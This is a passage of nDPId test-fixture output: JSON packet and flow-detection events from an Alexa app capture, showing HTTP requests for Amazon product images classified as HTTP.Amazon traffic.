+00444{"flow_id":120,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2042,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":199825,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxG999POw2qqP6AScSBjDwAAAgQFtAQCCAps+n3SAPZytQEDAwg="} +00444{"flow_id":121,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2043,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":199869,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxLyFCLFnmK3JKAScSD4HAAAAgQFtAQCCAps+n3SAPZytgEDAwg="} +00444{"flow_id":122,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2044,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":199902,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxNJprFn0NKXyaAScSAI+QAAAgQFtAQCCAps+nOsAPZytgEDAwg="} +00433{"flow_id":124,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2045,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":200000,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0vDFAAEAGNB6sECrYNFQ\/OMsVAFCK3c6HwtatV4AQAVc6+AAAAQEICgD2crts+npU"} +01168{"flow_id":124,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2046,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":200994,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXvDJAAEAGMfqsECrYNFQ\/OMsVAFCK3c6HwtatV4AYAVfMCQAAAQEICgD2crxs+npUR0VUIC9pbWFnZXMvSS83MXB3TUtEUlFJTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2046,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":124,"flow_packet_id":4,"flow_first_seen":1490976134148,"flow_last_seen":1490976134200,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51989,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/71pwMKDRQIL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +00433{"flow_id":123,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2047,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":201861,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0TQdAAEAGo0isECrYNFQ\/OMsUAFAHRT+xsJsTXoAQAVf3QwAAAQEICgD2crxs+nys"} +00434{"flow_id":120,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2048,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":202119,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA02IxAAEAGF8OsECrYNFQ\/OMsRAFDDaqo\/vffTz4AQAVcBnwAAAQEICgD2crxs+n3S"} +00433{"flow_id":121,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2049,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":202247,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0xZZAAEAGKrmsECrYNFQ\/OMsSAFCeYrck8hQixoAQAVeWrQAAAQEICgD2crxs+n3S"} +00433{"flow_id":122,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2050,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":202405,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA05X9AAEAGCtCsECrYNFQ\/OMsTAFDQ0pfJSaaxaIAQAVeniQAAAQEICgD2crxs+nOs"} +01168{"flow_id":123,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2051,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":203012,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXTQhAAEAGoSSsECrYNFQ\/OMsUAFAHRT+xsJsTXoAYAVeTLwAAAQEICgD2crxs+nysR0VUIC9pbWFnZXMvSS82MW9CVGIralp2TC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2051,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":123,"flow_packet_id":4,"flow_first_seen":1490976134146,"flow_last_seen":1490976134203,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51988,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/61oBTb+jZvL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +01169{"flow_id":120,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2052,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":203631,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJX2I1AAEAGFZ+sECrYNFQ\/OMsRAFDDaqo\/vffTz4AYAVdmfQAAAQEICgD2crxs+n3SR0VUIC9pbWFnZXMvSS81MXdvaUw5a2drTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2052,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":120,"flow_packet_id":4,"flow_first_seen":1490976134140,"flow_last_seen":1490976134203,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51985,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/51woiL9kgkL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +01168{"flow_id":121,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2053,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":203879,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXxZdAAEAGKJWsECrYNFQ\/OMsSAFCeYrck8hQixoAYAVfrxAAAAQEICgD2crxs+n3SR0VUIC9pbWFnZXMvSS84MWRpRlF5VmpITC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2053,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":121,"flow_packet_id":4,"flow_first_seen":1490976134141,"flow_last_seen":1490976134203,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51986,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/81diFQyVjHL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +01168{"flow_id":122,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2054,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":204208,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJX5YBAAEAGCKysECrYNFQ\/OMsTAFDQ0pfJSaaxaIAYAVd2ewAAAQEICgD2crxs+nOsR0VUIC9pbWFnZXMvSS83MUdjQ05UYjZrTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2054,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":122,"flow_packet_id":4,"flow_first_seen":1490976134144,"flow_last_seen":1490976134204,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51987,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/71GcCNTb6kL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +00444{"flow_id":125,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2055,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":237090,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA8AABAAPIGPkc0VD84rBAq2ABQyxaJEqCkMupghaAScSCurAAAAgQFtAQCCAps+nR5APZytgEDAwg="} +00433{"flow_id":125,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2056,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":238394,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA0EjNAAEAG3hysECrYNFQ\/OMsWAFAy6mCFiRKgpYAQAVdNOgAAAQEICgD2cr9s+nR5"} +01169{"flow_id":125,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2057,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":239068,"pkt_caplen":613,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":613,"pkt_l4_len":579,"pkt":"AMDKkaPvePiC0\/vCCABFAAJXEjRAAEAG2\/isECrYNFQ\/OMsWAFAy6mCFiRKgpYAYAVcSOgAAAQEICgD2cr9s+nR5R0VUIC9pbWFnZXMvSS82MTJ4bGFPSTJOTC5fU0wyMTBfUUw5NV8ucG5nIEhUVFAvMS4xDQpIb3N0OiBlY3guaW1hZ2VzLWFtYXpvbi5jb20NCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChMaW51eDsgQW5kcm9pZCA1LjEuMTsgTEdMUzc1MSBCdWlsZC9MTVk0N1Y7IHd2KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzQuMCBDaHJvbWUvNTYuMC4yOTI0Ljg3IE1vYmlsZSBTYWZhcmkvNTM3LjM2IFBpdGFuZ3VpQnJpZGdlLzEuMTYuNC41LVtNQU5VRkFDVFVSRVI9TEdFXVtSRUxFQVNFPTUuMS4xXVtCUkFORD1sZ2VdW1NESz0yMl1bTU9ERUw9TEdMUzc1MV0NCkFjY2VwdDogaW1hZ2Uvd2VicCxpbWFnZS8qLCovKjtxPTAuOA0KUmVmZXJlcjogaHR0cDovL2FsZXhhLmFtYXpvbi5jb20vc3BhL2luZGV4Lmh0bWwNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCwgZGVmbGF0ZQ0KQWNjZXB0LUxhbmd1YWdlOiBlbi1VUw0KWC1SZXF1ZXN0ZWQtV2l0aDogY29tLmFtYXpvbi5kZWUuYXBwDQoNCg=="} +00939{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2057,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":125,"flow_packet_id":4,"flow_first_seen":1490976134149,"flow_last_seen":1490976134239,"flow_tot_l4_data_len":691,"flow_min_l4_data_len":32,"flow_max_l4_data_len":579,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.84.63.56","src_port":51990,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Amazon","breed":"Acceptable","category":"Web"},"http": {"hostname":"ecx.images-amazon.com","url":"ecx.images-amazon.com\/images\/I\/612xlaOI2NL._SL210_QL95_.png","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Linux; Android 5.1.1; LGLS751 Build\/LMY47V; wv) AppleWebKit\/537.36 (KHTML, like Gecko) Version\/4.0 Chrome\/56.0.2924.87 Mobile Safari\/537.36 PitanguiBridge\/1.16.4.5-[MANUFACTURER=LGE][RELEASE=5.1.1][BRAND=lge][SDK=22][MODEL=LGLS751]"}} +00432{"flow_id":120,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2058,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":354330,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0rhBAAPIGkD40VD84rBAq2ABQyxG999PPw2qsYoAQAHYATwAAAQEICmz6feAA9nK8"} +00432{"flow_id":122,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2059,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":354478,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0wtFAAPIGe300VD84rBAq2ABQyxNJprFo0NKZ7IAQAHamOgAAAQEICmz6c7kA9nK8"} +00432{"flow_id":123,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2060,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":354525,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0b+dAAPIGzmc0VD84rBAq2ABQyxSwmxNeB0VB1IAQAHb19AAAAQEICmz6fLkA9nK8"} +00432{"flow_id":121,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2061,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":354568,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ePiC0\/vCAMDKkVoBCABFAAA0XyZAAPIG3yg0VD84rBAq2ABQyxLyFCLGnmK5R4AQAHaVXQAAAQEICmz6feAA9nK8"} +02394{"flow_id":121,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2062,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976134,"pkt_ts_usec":354953,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcXydAAPIG2X80VD84rBAq2ABQyxLyFCLGnmK5R4AQAHZr4wAAAQEICmz6feAA9nK8SFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IGltYWdlL2pwZWcNCkNvbnRlbnQtTGVuZ3RoOiAxMTQxOA0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KU2VydmVyOiBTZXJ2ZXINCkRhdGU6IFNhdCwgMTQgSmFuIDIwMTcgMDc6MTk6MzkgR01UDQpYLUFtei1JUi1JZDogMmRkNGFmYmQtMGNmZC00NjY5LTk0MzItMzAzYmM2NWRjM2UzDQpFeHBpcmVzOiBGcmksIDA5IEphbiAyMDM3IDA3OjE5OjM5IEdNVA0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT02MzA3MjAwMDAscHVibGljDQpMYXN0LU1vZGlmaWVkOiBGcmksIDA2IEphbiAyMDE3IDIyOjAzOjI3IEdNVA0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctT3JpZ2luOiAqDQpBZ2U6IDY1OTc3NTUNClgtQ2FjaGU6IEhpdCBmcm9tIGNsb3VkZnJvbnQNClZpYTogMS4xIGFhNGQxNDliMDI3NDRkMzAzNGI1MjZkODA5OWJlN2MwLmNsb3VkZnJvbnQubmV0IChDbG91ZEZyb250KQ0KWC1BbXotQ2YtSWQ6IHRQdGlGZ2FpTWphdGo2RHBYeGpIVXdsSURpS0FLSDN2eTVrSGtPT29RQnI2YlRnZm9sQ2xNdz09DQoNCv\/Y\/+AAEEpGSUYAAQEAAAEAAQAA\/9sAQwACAQEBAQECAQEBAgICAgIEAwICAgIFBAQDBAYFBgYGBQYGBgcJCAYHCQcGBggLCAkKCgoKCgYICwwLCgwJCgoK\/9sAQwECAgICAgIFAwMFCgcGBwoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK\/8AAEQgA0gDSAwEiAAIRAQMRAf\/EAB8AAAEFAQEBAQEBAAAAAAAAAAABAgMEBQYHCAkKC\/\/EALUQAAIBAwMCBAMFBQQEAAABfQECAwAEEQUSITFBBhNRYQcicRQygZGhCCNCscEVUtHwJDNicoIJChYXGBkaJSYnKCkqNDU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6g4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TFxsfIycrS09TV1tfY2drh4uPk5ebn6Onq8fLz9PX29\/j5+v\/EAB8BAAMBAQEBAQEBAQEAAAAAAAABAgMEBQYHCA